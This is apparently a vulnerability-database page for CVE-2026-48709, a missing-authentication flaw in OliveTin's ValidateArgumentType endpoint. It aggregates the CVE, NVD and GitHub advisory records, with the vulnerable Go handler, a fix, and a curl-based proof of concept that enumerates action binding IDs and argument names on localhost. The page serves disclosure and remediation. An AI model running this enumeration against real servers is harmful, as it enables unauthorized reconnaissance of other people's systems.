Vulnerability-Lookup

CVE-2026-48709 (GCVE-0-2026-48709)

Vulnerability from cvelistv5 – Published: 2026-06-15 20:13 – Updated: 2026-06-24 16:46

Title

OliveTin: ValidateArgumentType API Endpoint Missing Authentication Allows Action and Argument Enumeration

Summary

OliveTin gives access to predefined shell commands from a web interface. In versions 3000.0.0 and prior, The ValidateArgumentType RPC endpoint in service/internal/api/api.go does not perform any authentication or authorization checks. Unlike all other data-returning API endpoints, it does not call auth.UserFromApiCall or checkDashboardAccess. When AuthRequireGuestsToLogin is enabled (the security-conscious configuration), this endpoint remains accessible to unauthenticated users and can be used as an oracle to enumerate valid action binding IDs and their argument configurations. This issue has been fixed in version 3000.13.0.

Severity

3.7 (Low)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-16 15:45 UTC

CWE

CWE-862 - Missing Authorization

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/OliveTin/OliveTin/security/adv…	x_refsource_CONFIRM
https://github.com/OliveTin/OliveTin/commit/a3865…	x_refsource_MISC
https://github.com/OliveTin/OliveTin/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
OliveTin	OliveTin	Affected: < 3000.13.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-48709",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-16T15:45:30.099199Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-16T17:12:34.314Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fx"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "OliveTin",
          "vendor": "OliveTin",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3000.13.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "OliveTin gives access to predefined shell commands from a web interface. In versions 3000.0.0 and prior, The ValidateArgumentType RPC endpoint in service/internal/api/api.go does not perform any authentication or authorization checks. Unlike all other data-returning API endpoints, it does not call auth.UserFromApiCall or checkDashboardAccess. When AuthRequireGuestsToLogin is enabled (the security-conscious configuration), this endpoint remains accessible to unauthenticated users and can be used as an oracle to enumerate valid action binding IDs and their argument configurations. This issue has been fixed in version 3000.13.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 3.7,
            "baseSeverity": "LOW",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-24T16:46:25.923Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fx",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fx"
        },
        {
          "name": "https://github.com/OliveTin/OliveTin/commit/a3865704c854061452a4ab5f6d95de3312698ccd",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/OliveTin/OliveTin/commit/a3865704c854061452a4ab5f6d95de3312698ccd"
        },
        {
          "name": "https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0"
        }
      ],
      "source": {
        "advisory": "GHSA-f637-w7p2-m7fx",
        "discovery": "UNKNOWN"
      },
      "title": "OliveTin: ValidateArgumentType API Endpoint Missing Authentication Allows Action and Argument Enumeration"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-48709",
    "datePublished": "2026-06-15T20:13:18.956Z",
    "dateReserved": "2026-05-22T18:47:27.755Z",
    "dateUpdated": "2026-06-24T16:46:25.923Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-48709",
      "date": "2026-09-20",
      "epss": "0.00329",
      "percentile": "0.26214"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "OliveTin",
                "vendor": "OliveTin",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 3000.13.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "OliveTin gives access to predefined shell commands from a web interface. In versions 3000.0.0 and prior, The ValidateArgumentType RPC endpoint in service/internal/api/api.go does not perform any authentication or authorization checks. Unlike all other data-returning API endpoints, it does not call auth.UserFromApiCall or checkDashboardAccess. When AuthRequireGuestsToLogin is enabled (the security-conscious configuration), this endpoint remains accessible to unauthenticated users and can be used as an oracle to enumerate valid action binding IDs and their argument configurations. This issue has been fixed in version 3000.13.0."
          }
        ],
        "id": "CVE-2026-48709",
        "lastModified": "2026-06-24T17:17:01.520",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "HIGH",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 3.7,
                "baseSeverity": "LOW",
                "confidentialityImpact": "LOW",
                "integrityImpact": "NONE",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.2,
              "impactScore": 1.4,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-48709",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-16T15:45:30.099199Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-06-15T21:17:15.720",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/OliveTin/OliveTin/commit/a3865704c854061452a4ab5f6d95de3312698ccd"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fx"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fx"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-862"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "suse_vex": {
      "aggregate_severity": "low",
      "current_release_date": "2026-07-30T16:44:11Z",
      "cve": "CVE-2026-48709",
      "id": "CVE-2026-48709",
      "initial_release_date": "2026-07-30T16:44:11Z",
      "source": "SUSE CSAF VEX",
      "status": "interim",
      "title": "SUSE CVE CVE-2026-48709",
      "url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2026-48709.json",
      "version": "2"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-48709",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-06-16T15:45:30.099199Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-06-16T15:45:40.324Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fx"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "OliveTin",
              "vendor": "OliveTin",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 3000.13.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "OliveTin gives access to predefined shell commands from a web interface. In versions 3000.0.0 and prior, The ValidateArgumentType RPC endpoint in service/internal/api/api.go does not perform any authentication or authorization checks. Unlike all other data-returning API endpoints, it does not call auth.UserFromApiCall or checkDashboardAccess. When AuthRequireGuestsToLogin is enabled (the security-conscious configuration), this endpoint remains accessible to unauthenticated users and can be used as an oracle to enumerate valid action binding IDs and their argument configurations. This issue has been fixed in version 3000.13.0."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "HIGH",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 3.7,
                "baseSeverity": "LOW",
                "confidentialityImpact": "LOW",
                "integrityImpact": "NONE",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-862",
                  "description": "CWE-862: Missing Authorization",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-06-24T16:46:25.923Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fx",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fx"
            },
            {
              "name": "https://github.com/OliveTin/OliveTin/commit/a3865704c854061452a4ab5f6d95de3312698ccd",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/OliveTin/OliveTin/commit/a3865704c854061452a4ab5f6d95de3312698ccd"
            },
            {
              "name": "https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0"
            }
          ],
          "source": {
            "advisory": "GHSA-f637-w7p2-m7fx",
            "discovery": "UNKNOWN"
          },
          "title": "OliveTin: ValidateArgumentType API Endpoint Missing Authentication Allows Action and Argument Enumeration"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-48709",
        "datePublished": "2026-06-15T20:13:18.956Z",
        "dateReserved": "2026-05-22T18:47:27.755Z",
        "dateUpdated": "2026-06-24T16:46:25.923Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-48709

Vulnerability from fkie_nvd - Published: 2026-06-15 21:17 - Updated: 2026-06-24 17:17

Severity

3.7 (Low) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/OliveTin/OliveTin/commit/a3865704c854061452a4ab5f6d95de3312698ccd
	security-advisories@github.com	https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0
	security-advisories@github.com	https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fx
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fx

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "OliveTin",
          "vendor": "OliveTin",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3000.13.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "OliveTin gives access to predefined shell commands from a web interface. In versions 3000.0.0 and prior, The ValidateArgumentType RPC endpoint in service/internal/api/api.go does not perform any authentication or authorization checks. Unlike all other data-returning API endpoints, it does not call auth.UserFromApiCall or checkDashboardAccess. When AuthRequireGuestsToLogin is enabled (the security-conscious configuration), this endpoint remains accessible to unauthenticated users and can be used as an oracle to enumerate valid action binding IDs and their argument configurations. This issue has been fixed in version 3000.13.0."
    }
  ],
  "id": "CVE-2026-48709",
  "lastModified": "2026-06-24T17:17:01.520",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 3.7,
          "baseSeverity": "LOW",
          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-48709",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-16T15:45:30.099199Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-15T21:17:15.720",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/OliveTin/OliveTin/commit/a3865704c854061452a4ab5f6d95de3312698ccd"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fx"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fx"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-862"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-F637-W7P2-M7FX

Vulnerability from github – Published: 2026-06-24 17:41 – Updated: 2026-06-24 17:41

Summary

OliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration

Details

Summary

The ValidateArgumentType RPC endpoint in service/internal/api/api.go does not perform any authentication or authorization checks. Unlike all other data-returning API endpoints, it does not call auth.UserFromApiCall or checkDashboardAccess. When AuthRequireGuestsToLogin is enabled (the security-conscious configuration), this endpoint remains accessible to unauthenticated users and can be used as an oracle to enumerate valid action binding IDs and their argument configurations.

Details

Root Cause

The ValidateArgumentType handler at service/internal/api/api.go:726 has no authentication check:

func (api *oliveTinAPI) ValidateArgumentType(ctx ctx.Context, req *connect.Request[apiv1.ValidateArgumentTypeRequest]) (*connect.Response[apiv1.ValidateArgumentTypeResponse], error) {
    if api.argumentNotFoundForValidation(req.Msg) {
        return nil, connect.NewError(connect.CodeNotFound, fmt.Errorf("action or argument not found for binding ID %s", req.Msg.BindingId))
    }

    err := api.validateArgumentTypeInternal(req.Msg)
    desc := ""
    if err != nil {
        desc = err.Error()
    }

    return connect.NewResponse(&apiv1.ValidateArgumentTypeResponse{
        Valid:       err == nil,
        Description: desc,
    }), nil
}

Compare this with adjacent endpoints that DO have auth checks:

// WhoAmI - has auth check
func (api *oliveTinAPI) WhoAmI(ctx ctx.Context, req *connect.Request[apiv1.WhoAmIRequest]) ... {
    user := auth.UserFromApiCall(ctx, req, api.cfg)
    if err := api.checkDashboardAccess(user); err != nil {
        return nil, err
    }
    ...
}

// GetDashboard - has auth check
func (api *oliveTinAPI) GetDashboard(ctx ctx.Context, req *connect.Request[apiv1.GetDashboardRequest]) ... {
    user := auth.UserFromApiCall(ctx, req, api.cfg)
    if err := api.checkDashboardAccess(user); err != nil {
        return nil, err
    }
    ...
}

Oracle Behavior

The endpoint provides different responses based on whether the binding and argument exist:

Valid binding + valid argument: Returns {valid: true/false, description: "..."} (200 OK)
Valid binding + invalid argument: Returns CodeNotFound error
Invalid binding: Returns CodeNotFound error

While the error messages for the last two cases are identical, an attacker who knows a valid binding ID (or can guess one from action title SHA256) can enumerate argument names by observing which ones return 200 OK vs CodeNotFound.

Binding ID Predictability

Binding IDs are SHA256 hashes of action titles (see service/internal/executor/executor_actions.go). Since action titles are typically short, human-readable strings (e.g., "Ping", "Restart Service", "Deploy"), an attacker can precompute hashes of likely titles and test them against this endpoint.

Scope

This finding is only meaningful when AuthRequireGuestsToLogin: true is configured. In the default configuration where guests have full dashboard access, the action information is already visible through the dashboard API. When AuthRequireGuestsToLogin is true, checkDashboardAccess blocks guest access to other endpoints but NOT to ValidateArgumentType.

PoC

Prerequisites

OliveTin instance with AuthRequireGuestsToLogin: true configured

Step 1: Verify other endpoints require auth

Confirm that regular endpoints reject unauthenticated requests:

curl -s -X POST http://localhost:1337/api/GetDashboard \
  -H "Content-Type: application/json" \
  -d "{}"
# Returns: CodePermissionDenied - "guests are not allowed to access the dashboard"

Step 2: Enumerate binding IDs via ValidateArgumentType

Test candidate binding IDs (SHA256 of guessed action titles):

# Test if an action titled "Ping" exists
BINDING_ID=$(echo -n "Ping" | sha256sum | cut -d" " -f1)
curl -s -X POST http://localhost:1337/api/ValidateArgumentType \
  -H "Content-Type: application/json" \
  -d "{\"bindingId\":\"$BINDING_ID\",\"argumentName\":\"test\",\"value\":\"x\",\"type\":\"ascii\"}"
# If action exists: returns CodeNotFound (argument "test" not found for this binding)
# If action does not exist: returns CodeNotFound (same message, but confirms the oracle)

Step 3: Enumerate argument names for a known binding

Once a valid binding ID is known, brute-force argument names:

# Test if argument "target" exists for the Ping action
curl -s -X POST http://localhost:1337/api/ValidateArgumentType \
  -H "Content-Type: application/json" \
  -d "{\"bindingId\":\"$BINDING_ID\",\"argumentName\":\"target\",\"value\":\"test\",\"type\":\"ascii\"}"
# If argument exists: returns {valid: true/false} (200 OK) -- CONFIRMED
# If argument does not exist: returns CodeNotFound error

Impact

Information Disclosure: Unauthenticated users can enumerate which actions exist (by testing binding IDs) and which arguments each action accepts (by testing argument names). This reveals the server configuration to unauthorized parties.
Reconnaissance for Further Attacks: The enumerated information (action names, argument names, argument types) provides valuable reconnaissance for more targeted attacks such as the ot_ prefix argument injection (see advisory 001) or social engineering.
Limited Scope: This is only exploitable when AuthRequireGuestsToLogin: true is configured. In the default configuration, guests already have full access to the dashboard which exposes the same information.

Recommended Fix

Add authentication and dashboard access checks to the ValidateArgumentType handler, consistent with all other data-returning endpoints:

func (api *oliveTinAPI) ValidateArgumentType(ctx ctx.Context, req *connect.Request[apiv1.ValidateArgumentTypeRequest]) (*connect.Response[apiv1.ValidateArgumentTypeResponse], error) {
    // Add auth check consistent with other endpoints
    user := auth.UserFromApiCall(ctx, req, api.cfg)
    if err := api.checkDashboardAccess(user); err != nil {
        return nil, err
    }

    if api.argumentNotFoundForValidation(req.Msg) {
        return nil, connect.NewError(connect.CodeNotFound, fmt.Errorf("action or argument not found for binding ID %s", req.Msg.BindingId))
    }

    err := api.validateArgumentTypeInternal(req.Msg)
    desc := ""
    if err != nil {
        desc = err.Error()
    }

    return connect.NewResponse(&apiv1.ValidateArgumentTypeResponse{
        Valid:       err == nil,
        Description: desc,
    }), nil
}

Severity

3.7 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/OliveTin/OliveTin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260521230847-a3865704c854"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48709"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-24T17:41:01Z",
    "nvd_published_at": "2026-06-15T21:17:15Z",
    "severity": "LOW"
  },
  "details": "## Summary\n\nThe `ValidateArgumentType` RPC endpoint in `service/internal/api/api.go` does not perform any authentication or authorization checks. Unlike all other data-returning API endpoints, it does not call `auth.UserFromApiCall` or `checkDashboardAccess`. When `AuthRequireGuestsToLogin` is enabled (the security-conscious configuration), this endpoint remains accessible to unauthenticated users and can be used as an oracle to enumerate valid action binding IDs and their argument configurations.\n\n## Details\n\n### Root Cause\n\nThe `ValidateArgumentType` handler at `service/internal/api/api.go:726` has no authentication check:\n\n```go\nfunc (api *oliveTinAPI) ValidateArgumentType(ctx ctx.Context, req *connect.Request[apiv1.ValidateArgumentTypeRequest]) (*connect.Response[apiv1.ValidateArgumentTypeResponse], error) {\n    if api.argumentNotFoundForValidation(req.Msg) {\n        return nil, connect.NewError(connect.CodeNotFound, fmt.Errorf(\"action or argument not found for binding ID %s\", req.Msg.BindingId))\n    }\n\n    err := api.validateArgumentTypeInternal(req.Msg)\n    desc := \"\"\n    if err != nil {\n        desc = err.Error()\n    }\n\n    return connect.NewResponse(\u0026apiv1.ValidateArgumentTypeResponse{\n        Valid:       err == nil,\n        Description: desc,\n    }), nil\n}\n```\n\nCompare this with adjacent endpoints that DO have auth checks:\n\n```go\n// WhoAmI - has auth check\nfunc (api *oliveTinAPI) WhoAmI(ctx ctx.Context, req *connect.Request[apiv1.WhoAmIRequest]) ... {\n    user := auth.UserFromApiCall(ctx, req, api.cfg)\n    if err := api.checkDashboardAccess(user); err != nil {\n        return nil, err\n    }\n    ...\n}\n\n// GetDashboard - has auth check\nfunc (api *oliveTinAPI) GetDashboard(ctx ctx.Context, req *connect.Request[apiv1.GetDashboardRequest]) ... {\n    user := auth.UserFromApiCall(ctx, req, api.cfg)\n    if err := api.checkDashboardAccess(user); err != nil {\n        return nil, err\n    }\n    ...\n}\n```\n\n### Oracle Behavior\n\nThe endpoint provides different responses based on whether the binding and argument exist:\n\n- **Valid binding + valid argument**: Returns `{valid: true/false, description: \"...\"}` (200 OK)\n\n- **Valid binding + invalid argument**: Returns `CodeNotFound` error\n\n- **Invalid binding**: Returns `CodeNotFound` error\n\nWhile the error messages for the last two cases are identical, an attacker who knows a valid binding ID (or can guess one from action title SHA256) can enumerate argument names by observing which ones return 200 OK vs CodeNotFound.\n\n\n\n\n\n\n\n\n\n### Binding ID Predictability\n\nBinding IDs are SHA256 hashes of action titles (see `service/internal/executor/executor_actions.go`). Since action titles are typically short, human-readable strings (e.g., \"Ping\", \"Restart Service\", \"Deploy\"), an attacker can precompute hashes of likely titles and test them against this endpoint.\n\n### Scope\nThis finding is only meaningful when `AuthRequireGuestsToLogin: true` is configured. In the default configuration where guests have full dashboard access, the action information is already visible through the dashboard API.\nWhen `AuthRequireGuestsToLogin` is true, `checkDashboardAccess` blocks guest access to other endpoints but NOT to `ValidateArgumentType`.\n\n## PoC\n\n### Prerequisites\n\n- OliveTin instance with `AuthRequireGuestsToLogin: true` configured\n\n### Step 1: Verify other endpoints require auth\n\nConfirm that regular endpoints reject unauthenticated requests:\n\n```bash\ncurl -s -X POST http://localhost:1337/api/GetDashboard \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{}\"\n# Returns: CodePermissionDenied - \"guests are not allowed to access the dashboard\"\n```\n\n### Step 2: Enumerate binding IDs via ValidateArgumentType\n\nTest candidate binding IDs (SHA256 of guessed action titles):\n\n```bash\n# Test if an action titled \"Ping\" exists\nBINDING_ID=$(echo -n \"Ping\" | sha256sum | cut -d\" \" -f1)\ncurl -s -X POST http://localhost:1337/api/ValidateArgumentType \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"bindingId\\\":\\\"$BINDING_ID\\\",\\\"argumentName\\\":\\\"test\\\",\\\"value\\\":\\\"x\\\",\\\"type\\\":\\\"ascii\\\"}\"\n# If action exists: returns CodeNotFound (argument \"test\" not found for this binding)\n# If action does not exist: returns CodeNotFound (same message, but confirms the oracle)\n```\n\n### Step 3: Enumerate argument names for a known binding\n\nOnce a valid binding ID is known, brute-force argument names:\n\n```bash\n# Test if argument \"target\" exists for the Ping action\ncurl -s -X POST http://localhost:1337/api/ValidateArgumentType \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"bindingId\\\":\\\"$BINDING_ID\\\",\\\"argumentName\\\":\\\"target\\\",\\\"value\\\":\\\"test\\\",\\\"type\\\":\\\"ascii\\\"}\"\n# If argument exists: returns {valid: true/false} (200 OK) -- CONFIRMED\n# If argument does not exist: returns CodeNotFound error\n```\n\n## Impact\n\n1. **Information Disclosure**: Unauthenticated users can enumerate which actions exist (by testing binding IDs) and which arguments each action accepts (by testing argument names). This reveals the server configuration to unauthorized parties.\n\n2. **Reconnaissance for Further Attacks**: The enumerated information (action names, argument names, argument types) provides valuable reconnaissance for more targeted attacks such as the `ot_` prefix argument injection (see advisory 001) or social engineering.\n\n3. **Limited Scope**: This is only exploitable when `AuthRequireGuestsToLogin: true` is configured. In the default configuration, guests already have full access to the dashboard which exposes the same information.\n\n## Recommended Fix\n\nAdd authentication and dashboard access checks to the `ValidateArgumentType` handler, consistent with all other data-returning endpoints:\n\n```go\nfunc (api *oliveTinAPI) ValidateArgumentType(ctx ctx.Context, req *connect.Request[apiv1.ValidateArgumentTypeRequest]) (*connect.Response[apiv1.ValidateArgumentTypeResponse], error) {\n    // Add auth check consistent with other endpoints\n    user := auth.UserFromApiCall(ctx, req, api.cfg)\n    if err := api.checkDashboardAccess(user); err != nil {\n        return nil, err\n    }\n\n    if api.argumentNotFoundForValidation(req.Msg) {\n        return nil, connect.NewError(connect.CodeNotFound, fmt.Errorf(\"action or argument not found for binding ID %s\", req.Msg.BindingId))\n    }\n\n    err := api.validateArgumentTypeInternal(req.Msg)\n    desc := \"\"\n    if err != nil {\n        desc = err.Error()\n    }\n\n    return connect.NewResponse(\u0026apiv1.ValidateArgumentTypeResponse{\n        Valid:       err == nil,\n        Description: desc,\n    }), nil\n}\n```",
  "id": "GHSA-f637-w7p2-m7fx",
  "modified": "2026-06-24T17:41:01Z",
  "published": "2026-06-24T17:41:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48709"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/commit/a3865704c854061452a4ab5f6d95de3312698ccd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OliveTin/OliveTin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OliveTin: ValidateArgumentType API Endpoint\u0027s Missing Authentication Allows Action and Argument Enumeration"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
